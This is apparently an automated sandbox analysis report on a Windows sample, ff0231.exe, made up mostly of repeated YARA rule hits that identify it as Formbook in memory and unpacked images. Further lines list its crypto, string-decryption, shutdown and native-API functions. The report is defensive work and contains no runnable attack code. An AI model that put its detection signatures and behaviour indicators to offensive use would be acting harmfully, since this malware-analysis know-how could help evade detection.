Source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: ff0231.exe Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
Yara signature match
Source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.ff0231.exe.2920000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.ff0231.exe.400000.3.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.ff0231.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0.2.ff0231.exe.2920000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.ff0231.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.1.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.ff0231.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.1.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.ff0231.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.ff0231.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.0.ff0231.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.706889621.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.730860084.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1195175405.00000000031A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000001.676423875.0000000000400000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.675874776.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.731603632.0000000000D00000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1194078465.0000000000D80000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.731581465.0000000000CD0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.679018154.0000000002920000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000002.1195210641.00000000031D0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.720796020.000000000F2F4000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000000.674213587.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_004030E3 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess, 0_2_004030E3
Detected potential crypto function
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00406043 0_2_00406043
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_00404618 0_2_00404618
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_0040681A 0_2_0040681A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_100010E0 0_2_100010E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000E22C 0_2_1000E22C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000C0A4 0_2_1000C0A4
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000D311 0_2_1000D311
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000BB32 0_2_1000BB32
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_1000B5C0 0_2_1000B5C0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 0_2_100071DD 0_2_100071DD
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00401030 3_2_00401030
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00402D90 3_2_00402D90
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041D593 3_2_0041D593
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409E4D 3_2_00409E4D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00409E50 3_2_00409E50
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041E783 3_2_0041E783
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00402FB0 3_2_00402FB0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A820A8 3_2_00A820A8
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CB090 3_2_009CB090
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E20A0 3_2_009E20A0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A828EC 3_2_00A828EC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8E824 3_2_00A8E824
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71002 3_2_00A71002
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA830 3_2_009DA830
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BF900 3_2_009BF900
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D4120 3_2_009D4120
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A822AE 3_2_00A822AE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6FA2B 3_2_00A6FA2B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EEBB0 3_2_009EEBB0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7DBD2 3_2_00A7DBD2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A703DA 3_2_00A703DA
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A82B28 3_2_00A82B28
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAB40 3_2_009DAB40
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C841F 3_2_009C841F
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7D466 3_2_00A7D466
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2581 3_2_009E2581
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A825DD 3_2_00A825DD
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CD5E0 3_2_009CD5E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A82D07 3_2_00A82D07
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B0D20 3_2_009B0D20
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A81D55 3_2_00A81D55
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A82EF7 3_2_00A82EF7
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D6E30 3_2_009D6E30
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7D616 3_2_00A7D616
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A81FF1 3_2_00A81FF1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8DFCE 3_2_00A8DFCE
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00401030 3_1_00401030
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00402D90 3_1_00402D90
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_0041D593 3_1_0041D593
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00409E4D 3_1_00409E4D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_1_00409E50 3_1_00409E50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500F900 9_2_0500F900
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D2D07 9_2_050D2D07
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05000D20 9_2_05000D20
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D1D55 9_2_050D1D55
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05032581 9_2_05032581
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D25DD 9_2_050D25DD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501D5E0 9_2_0501D5E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050C1002 9_2_050C1002
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501841F 9_2_0501841F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CD466 9_2_050CD466
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0501B090 9_2_0501B090
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050320A0 9_2_050320A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D20A8 9_2_050D20A8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D28EC 9_2_050D28EC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D2B28 9_2_050D2B28
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503EBB0 9_2_0503EBB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CDBD2 9_2_050CDBD2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D1FF1 9_2_050D1FF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05026E30 9_2_05026E30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D22AE 9_2_050D22AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D2EF7 9_2_050D2EF7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D82D90 9_2_00D82D90
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9D593 9_2_00D9D593
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D89E50 9_2_00D89E50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D89E4D 9_2_00D89E4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D9E783 9_2_00D9E783
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_00D82FB0 9_2_00D82FB0
Found potential string decryption / allocating functions
Source: C:\Users\user\Desktop\ff0231.exe Code function: String function: 0041C1D0 appears 38 times
Source: C:\Users\user\Desktop\ff0231.exe Code function: String function: 009BB150 appears 54 times
Source: C:\Windows\SysWOW64\rundll32.exe Code function: String function: 0500B150 appears 35 times
Contains functionality to call native functions
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041A350 NtCreateFile, 3_2_0041A350
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041A400 NtReadFile, 3_2_0041A400
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041A480 NtClose, 3_2_0041A480
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041A530 NtAllocateVirtualMemory, 3_2_0041A530
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_0041A3FC NtReadFile, 3_2_0041A3FC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F98F0 NtReadVirtualMemory,LdrInitializeThunk, 3_2_009F98F0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9840 NtDelayExecution,LdrInitializeThunk, 3_2_009F9840
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F9860 NtQuerySystemInformation,LdrInitializeThunk, 3_2_009F9860
